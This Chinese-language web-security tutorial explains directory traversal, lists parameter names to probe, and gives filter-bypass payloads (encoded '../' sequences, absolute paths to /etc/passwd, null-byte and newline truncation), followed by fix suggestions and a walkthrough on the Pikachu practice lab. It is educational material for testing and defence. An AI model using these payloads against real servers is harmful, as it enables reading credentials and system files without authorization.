Java教程

目录遍历

本文主要是介绍目录遍历,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

目录遍历(也称为文件路径遍历)是一种 Web 安全漏洞,允许攻击者读取运行应用程序的服务器上的任意文件。

危害:
1、读取的文件可能包括应用程序代码和数据、后端系统的凭据以及敏感的操作系统文件等。
2、在某些情况下,攻击者可能能够写入服务器上的任意文件,从而允许他们修改应用程序数据或行为,并最终完全控制服务器

 

 ../                    #返回上级目录
漏洞挖掘:

场景:图片
参数:URL中有这样特征的需要注意

?page=a.php
?home=b.html
?file=content
filename

绕过:

1、过滤../
方法:绝对路径:/etc/passwd  
?filename=/etc/passwd
          
2、针对过滤../
构造../
?filename=....//....//....//etc/passwd  

3、过滤../
方法:编码绕过(服务器能够解析的编码)
     URL编码/URL双编码:%2e%2e%2f、%252e%252e%252f、..%252f ---- ../
                    %2e%2e%5c、%252e%252e%255c、..%255c ---- ..\
     非标准编码:     ..%c0%af、..%ef%bc%8f、..%co%af  ---- ../
                    ..%u2216、..%c1%9c              ---- ..\
     服务器能够解析的编码:如base64
                    
4、目录限定(验证开始路径)
方法:使用特殊符号:~ 等
?filename=/var/www/images/../../../etc/passwd
?filename=~/../etc/passwd

5、验证文件拓展名
方法:截断后缀:%00、%0a、%20等等
?filename=../../../../../../../etc/passwd%00.jpg
?filename=../../../../../../../etc/passwd%0a.jpg
?filename=../../../../../../../etc/passwd%20


修复建议:

1、过滤../
2、验证白名单,如纯字母数字字符
3、目录限定:对最终的文件路径进行判断,确保请求文件完整目录后的头N个字符与文档根目录完全相同


打开pikachu靶场,目录遍历,点击”we're jarheads!“

 

 

 打开靶场目录,在soup上一级创建1.txt,并写入内容

 

 查看jarheads.php

 这里直接把传进来的内容进行了require(),造成问题
通过构造路径,查询出1.txt的内容:../1.txt

 

 

 成功显示出1.txt的内容

这篇关于目录遍历的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!